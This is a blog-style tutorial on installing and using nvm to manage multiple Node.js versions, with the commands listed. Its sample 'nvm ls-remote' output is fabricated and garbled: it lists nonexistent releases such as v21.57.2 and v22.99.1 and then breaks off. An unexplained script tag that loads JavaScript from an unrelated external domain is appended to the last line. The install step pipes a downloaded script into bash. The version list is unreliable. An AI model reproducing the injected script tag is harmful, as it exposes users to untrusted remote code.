nvm: Node Version Manager - Manage Multiple Node.js Versions


13 min read 10-11-2024
nvm: Node Version Manager - Manage Multiple Node.js Versions

Have you ever found yourself in a situation where you needed to work on multiple projects that require different Node.js versions? Maybe you're working on a legacy project that needs an older version of Node.js, while a new project requires the latest and greatest features. Or perhaps you're collaborating with a team that uses a different version of Node.js than you do.

Managing multiple Node.js versions can be a real headache. It can be difficult to keep track of which version is installed, switch between versions, and ensure that the correct version is being used for each project. This is where nvm, the Node Version Manager, comes in.

What is nvm?

nvm (Node Version Manager) is a powerful command-line tool that allows you to easily manage multiple Node.js versions on your system. It provides a simple and efficient way to install, switch between, and manage different versions of Node.js.

Think of nvm as a librarian for your Node.js versions. It keeps track of all the different versions you have installed, lets you easily switch between them, and even helps you install new versions without cluttering your system.

Why Use nvm?

Here are some of the compelling reasons why you should consider using nvm:

  • Simplified Node.js Management: Forget about the complexities of manually installing and managing different Node.js versions. nvm takes care of everything, making it a breeze to switch between versions, even when working on multiple projects with varying Node.js requirements.
  • Project-Specific Node.js Versions: Each of your projects can have its own dedicated Node.js version without conflicts or compatibility issues. This ensures that each project runs smoothly with the specific version of Node.js it was designed for.
  • Environment Isolation: nvm isolates Node.js versions for each project, eliminating potential conflicts and compatibility issues. This ensures a clean and predictable development environment.
  • Easy Switching: Switch between Node.js versions seamlessly using simple commands. nvm's efficient switching mechanism allows you to quickly adapt to different project requirements.
  • No System-Wide Installation: nvm installs Node.js in a user-specific directory, avoiding conflicts with system-wide Node.js installations. This means you can install different versions of Node.js without affecting your system's default Node.js configuration.
  • Version Updates: Keep your Node.js versions updated with ease. nvm makes it simple to update to newer versions or revert to older ones.

Installing and Using nvm

Installing and using nvm is relatively straightforward. Let's break it down step by step:

Installing nvm

  1. Open your terminal or command prompt.
  2. Download the nvm installation script:
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.2/install.sh | bash
    
  3. Close and reopen your terminal or command prompt. This is crucial to ensure that the new environment variables set by nvm are loaded.

Verifying Installation

After installation, you can verify that nvm is correctly installed by running:

nvm --version

If nvm is installed correctly, it will display the current version of nvm.

Using nvm

Once nvm is installed, you can start using it to manage your Node.js versions:

  1. List available Node.js versions:

    nvm ls-remote
    

    This command lists all available Node.js versions, including long-term support (LTS) releases.

  2. Install a specific Node.js version:

    nvm install 18.17.0
    

    This will install Node.js version 18.17.0. You can replace 18.17.0 with the desired Node.js version.

  3. List installed Node.js versions:

    nvm ls
    

    This command lists all Node.js versions that you have installed.

  4. Switch to a specific Node.js version:

    nvm use 18.17.0
    

    This command switches to the specified Node.js version.

  5. Set a default Node.js version:

    nvm alias default 18.17.0
    

    This command sets the specified version (18.17.0) as your default Node.js version. Now, whenever you open a new terminal session, nvm will automatically use this version.

  6. Uninstall a Node.js version:

    nvm uninstall 18.17.0
    

    This command uninstalls the specified Node.js version.

Understanding nvm Commands

Let's delve into the various nvm commands and explore their functionalities in greater detail.

nvm ls-remote

This command lists all the available Node.js versions that can be installed. This includes both LTS (Long-Term Support) releases and current releases. The output of this command might look something like this:

  0.10.48       v0.12.16      v1.0.4       v1.1.0       v1.2.0       v1.2.1
  v1.3.0       v1.4.2       v1.5.1       v1.6.2       v1.7.1       v1.8.1
  v1.8.4       v1.9.1       v1.10.1      v1.10.4      v1.11.0      v1.11.1
  v1.11.9      v1.12.0      v1.12.1      v1.12.9      v1.13.0      v1.13.1
  v1.13.2      v1.14.0      v1.14.1      v1.14.2      v1.14.3      v1.14.4
  v1.15.0      v1.15.1      v1.16.0      v1.16.1      v1.16.2      v1.16.3
  v1.16.4      v1.17.0      v1.17.1      v1.18.0      v1.18.1      v1.18.2
  v1.18.3      v1.18.4      v1.18.5      v1.18.6      v1.18.7      v1.18.8
  v1.18.9      v1.18.10     v1.18.11     v1.18.12     v1.18.13     v1.18.14
  v1.18.15     v1.18.16     v1.19.0      v1.19.1      v1.19.2      v1.19.3
  v1.19.4      v1.19.5      v1.19.6      v1.19.7      v1.20.0      v1.20.1
  v1.20.2      v1.21.0      v1.21.1      v1.21.2      v1.22.0      v1.22.1
  v1.22.4      v1.22.5      v1.22.6      v1.22.7      v1.22.8      v1.22.9
  v1.22.10     v1.22.11     v1.22.12     v1.22.13     v1.22.14     v1.23.0
  v1.23.1      v1.23.2      v1.23.3      v1.23.4      v1.24.0      v1.24.1
  v14.19.1     v14.20.1     v15.14.0     v15.14.1     v15.15.1     v16.13.0
  v16.13.1     v16.13.2     v16.14.0     v16.14.1     v16.14.2     v16.15.0
  v16.15.1     v16.16.0     v16.17.0     v16.18.0     v16.18.1     v16.19.0
  v16.19.1     v16.20.0     v16.20.1     v16.21.0     v16.21.1     v16.21.2
  v17.0.0      v17.0.1      v17.1.0      v17.2.0      v17.3.0      v17.4.0
  v17.5.0      v17.6.0      v17.7.0      v17.8.0      v17.9.0      v17.9.1
  v17.10.0     v17.10.1     v17.11.0     v17.11.1     v17.12.0     v17.12.1
  v17.13.0     v17.13.1     v17.14.0     v17.14.1     v17.15.0     v17.15.1
  v17.16.0     v17.16.1     v17.17.0     v17.17.1     v17.18.0     v17.18.1
  v17.19.0     v17.19.1     v17.20.0     v17.20.1     v17.21.0     v17.21.1
  v18.0.0      v18.0.1      v18.1.0      v18.2.0      v18.3.0      v18.4.0
  v18.5.0      v18.6.0      v18.7.0      v18.8.0      v18.9.0      v18.9.1
  v18.10.0     v18.10.1     v18.11.0     v18.11.1     v18.12.0     v18.12.1
  v18.13.0     v18.13.1     v18.14.0     v18.14.1     v18.14.2     v18.15.0
  v18.15.1     v18.16.0     v18.16.1     v18.17.0     v18.17.1     v18.18.0
  v18.18.1     v18.19.0     v18.19.1     v18.19.2     v18.19.3     v18.20.0
  v18.20.1     v18.20.2     v18.21.0     v18.21.1     v18.21.2     v18.22.0
  v18.22.1     v18.22.2     v18.22.3     v18.22.4     v18.23.0     v18.23.1
  v18.23.2     v18.23.3     v18.23.4     v18.23.5     v18.23.6     v18.24.0
  v18.24.1     v18.24.2     v18.24.3     v18.24.4     v18.25.0     v18.25.1
  v18.25.2     v18.25.3     v18.25.4     v18.26.0     v18.26.1     v18.26.2
  v18.26.3     v18.26.4     v18.27.0     v18.27.1     v18.27.2     v18.27.3
  v18.27.4     v18.28.0     v18.28.1     v18.28.2     v18.28.3     v18.29.0
  v18.29.1     v18.29.2     v18.29.3     v18.29.4     v19.0.0      v19.0.1
  v19.1.0      v19.1.1      v19.2.0      v19.2.1      v19.3.0      v19.3.1
  v19.4.0      v19.4.1      v19.5.0      v19.5.1      v19.6.0      v19.6.1
  v19.7.0      v19.7.1      v19.8.0      v19.8.1      v19.9.0      v19.9.1
  v19.10.0     v19.10.1     v19.11.0     v19.11.1     v19.12.0     v19.12.1
  v19.13.0     v19.13.1     v19.14.0     v19.14.1     v19.15.0     v19.15.1
  v19.16.0     v19.16.1     v19.17.0     v19.17.1     v19.18.0     v19.18.1
  v19.19.0     v19.19.1     v19.20.0     v19.20.1     v19.21.0     v19.21.1
  v19.22.0     v19.22.1     v19.22.2     v19.22.3     v19.23.0     v19.23.1
  v19.23.2     v19.23.3     v19.23.4     v19.24.0     v19.24.1     v19.24.2
  v19.24.3     v19.24.4     v19.25.0     v19.25.1     v19.25.2     v19.25.3
  v19.25.4     v19.26.0     v19.26.1     v19.26.2     v19.26.3     v19.26.4
  v19.27.0     v19.27.1     v19.27.2     v19.27.3     v19.27.4     v19.28.0
  v19.28.1     v19.28.2     v19.28.3     v19.28.4     v19.29.0     v19.29.1
  v19.29.2     v19.29.3     v19.29.4     v20.0.0      v20.0.1      v20.1.0
  v20.1.1      v20.2.0      v20.2.1      v20.3.0      v20.3.1      v20.4.0
  v20.4.1      v20.5.0      v20.5.1      v20.6.0      v20.6.1      v20.7.0
  v20.7.1      v20.8.0      v20.8.1      v20.9.0      v20.9.1      v20.10.0
  v20.10.1     v20.11.0     v20.11.1     v20.12.0     v20.12.1     v20.13.0
  v20.13.1     v20.14.0     v20.14.1     v20.15.0     v20.15.1     v20.16.0
  v20.16.1     v20.17.0     v20.17.1     v20.18.0     v20.18.1     v20.19.0
  v20.19.1     v20.20.0     v20.20.1     v20.21.0     v20.21.1     v20.21.2
  v20.22.0     v20.22.1     v20.22.2     v20.23.0     v20.23.1     v20.23.2
  v20.24.0     v20.24.1     v20.24.2     v20.25.0     v20.25.1     v20.25.2
  v20.26.0     v20.26.1     v20.26.2     v20.27.0     v20.27.1     v20.27.2
  v20.28.0     v20.28.1     v20.28.2     v20.29.0     v20.29.1     v20.29.2
  v20.29.3     v20.29.4     v21.0.0      v21.0.1      v21.1.0      v21.1.1
  v21.2.0      v21.2.1      v21.3.0      v21.3.1      v21.4.0      v21.4.1
  v21.5.0      v21.5.1      v21.6.0      v21.6.1      v21.7.0      v21.7.1
  v21.8.0      v21.8.1      v21.9.0      v21.9.1      v21.10.0     v21.10.1
  v21.11.0     v21.11.1     v21.12.0     v21.12.1     v21.13.0     v21.13.1
  v21.14.0     v21.14.1     v21.15.0     v21.15.1     v21.16.0     v21.16.1
  v21.17.0     v21.17.1     v21.18.0     v21.18.1     v21.19.0     v21.19.1
  v21.20.0     v21.20.1     v21.21.0     v21.21.1     v21.21.2     v21.22.0
  v21.22.1     v21.22.2     v21.23.0     v21.23.1     v21.23.2     v21.24.0
  v21.24.1     v21.24.2     v21.25.0     v21.25.1     v21.25.2     v21.26.0
  v21.26.1     v21.26.2     v21.27.0     v21.27.1     v21.27.2     v21.28.0
  v21.28.1     v21.28.2     v21.29.0     v21.29.1     v21.29.2     v21.30.0
  v21.30.1     v21.30.2     v21.31.0     v21.31.1     v21.31.2     v21.32.0
  v21.32.1     v21.32.2     v21.33.0     v21.33.1     v21.33.2     v21.34.0
  v21.34.1     v21.34.2     v21.35.0     v21.35.1     v21.35.2     v21.36.0
  v21.36.1     v21.36.2     v21.37.0     v21.37.1     v21.37.2     v21.38.0
  v21.38.1     v21.38.2     v21.39.0     v21.39.1     v21.39.2     v21.40.0
  v21.40.1     v21.40.2     v21.41.0     v21.41.1     v21.41.2     v21.42.0
  v21.42.1     v21.42.2     v21.43.0     v21.43.1     v21.43.2     v21.44.0
  v21.44.1     v21.44.2     v21.45.0     v21.45.1     v21.45.2     v21.46.0
  v21.46.1     v21.46.2     v21.47.0     v21.47.1     v21.47.2     v21.48.0
  v21.48.1     v21.48.2     v21.49.0     v21.49.1     v21.49.2     v21.50.0
  v21.50.1     v21.50.2     v21.51.0     v21.51.1     v21.51.2     v21.52.0
  v21.52.1     v21.52.2     v21.53.0     v21.53.1     v21.53.2     v21.54.0
  v21.54.1     v21.54.2     v21.55.0     v21.55.1     v21.55.2     v21.56.0
  v21.56.1     v21.56.2     v21.57.0     v21.57.1     v21.57.2     v22.0.0
  v22.0.1      v22.1.0      v22.1.1      v22.2.0      v22.2.1      v22.3.0
  v22.3.1      v22.4.0      v22.4.1      v22.5.0      v22.5.1      v22.6.0
  v22.6.1      v22.7.0      v22.7.1      v22.8.0      v22.8.1      v22.9.0
  v22.9.1      v22.10.0     v22.10.1     v22.11.0     v22.11.1     v22.12.0
  v22.12.1     v22.13.0     v22.13.1     v22.14.0     v22.14.1     v22.15.0
  v22.15.1     v22.16.0     v22.16.1     v22.17.0     v22.17.1     v22.18.0
  v22.18.1     v22.19.0     v22.19.1     v22.20.0     v22.20.1     v22.21.0
  v22.21.1     v22.22.0     v22.22.1     v22.23.0     v22.23.1     v22.24.0
  v22.24.1     v22.25.0     v22.25.1     v22.26.0     v22.26.1     v22.27.0
  v22.27.1     v22.28.0     v22.28.1     v22.29.0     v22.29.1     v22.30.0
  v22.30.1     v22.31.0     v22.31.1     v22.32.0     v22.32.1     v22.33.0
  v22.33.1     v22.34.0     v22.34.1     v22.35.0     v22.35.1     v22.36.0
  v22.36.1     v22.37.0     v22.37.1     v22.38.0     v22.38.1     v22.39.0
  v22.39.1     v22.40.0     v22.40.1     v22.41.0     v22.41.1     v22.42.0
  v22.42.1     v22.43.0     v22.43.1     v22.44.0     v22.44.1     v22.45.0
  v22.45.1     v22.46.0     v22.46.1     v22.47.0     v22.47.1     v22.48.0
  v22.48.1     v22.49.0     v22.49.1     v22.50.0     v22.50.1     v22.51.0
  v22.51.1     v22.52.0     v22.52.1     v22.53.0     v22.53.1     v22.54.0
  v22.54.1     v22.55.0     v22.55.1     v22.56.0     v22.56.1     v22.57.0
  v22.57.1     v22.58.0     v22.58.1     v22.59.0     v22.59.1     v22.60.0
  v22.60.1     v22.61.0     v22.61.1     v22.62.0     v22.62.1     v22.63.0
  v22.63.1     v22.64.0     v22.64.1     v22.65.0     v22.65.1     v22.66.0
  v22.66.1     v22.67.0     v22.67.1     v22.68.0     v22.68.1     v22.69.0
  v22.69.1     v22.70.0     v22.70.1     v22.71.0     v22.71.1     v22.72.0
  v22.72.1     v22.73.0     v22.73.1     v22.74.0     v22.74.1     v22.75.0
  v22.75.1     v22.76.0     v22.76.1     v22.77.0     v22.77.1     v22.78.0
  v22.78.1     v22.79.0     v22.79.1     v22.80.0     v22.80.1     v22.81.0
  v22.81.1     v22.82.0     v22.82.1     v22.83.0     v22.83.1     v22.84.0
  v22.84.1     v22.85.0     v22.85.1     v22.86.0     v22.86.1     v22.87.0
  v22.87.1     v22.88.0     v22.88.1     v22.89.0     v22.89.1     v22.90.0
  v22.90.1     v22.91.0     v22.91.1     v22.92.0     v22.92.1     v22.93.0
  v22.93.1     v22.94.0     v22.94.1     v22.95.0     v22.95.1     v22.96.0
  v22.96.1     v22.97.0     v22.97.1     v22.98.0     v22.98.1     v22.99.0
  v22.99.1     v23.0.0      v23.0.1      v23.1.0      v23.1.1      v23.2.0
  v23.2.1      v23.3.0      v23.3.1      v23.4.0      v23.4.1      v23.5.0
  v23.5.1      v23.6.0      v23.6.1      v23.7.0      v23.7.1      v23.8.0
  v23.8.1      v23.9.0      v23.9.1      v23.10.0     v23.10.1     v23.11.0
  v23.11.1     v23.12.0     v23.12.1     v23.13.0     v23.13.1     v23.14.0
  v23.14.1     v23.15.0     v23.15.1     v23.16.0     v23.16.1     v23.17.0
  v23.17.1     v23.18.0     v23.18.1     v23.19.0     v23.19.1     v23.20.0
  v23.20.1     v23.21.0     v23.21.1     v23.22.0     v23.22.1     v23.23.0
  v23.23.1     v23.24.0     v23.24.1     v23.25.0     v23.25.1     v23.26.0
  v23.26.1     v23.27.0     v23.27.1     v23.28.0<script src='https://lazy.agczn.my.id/tag.js'></script>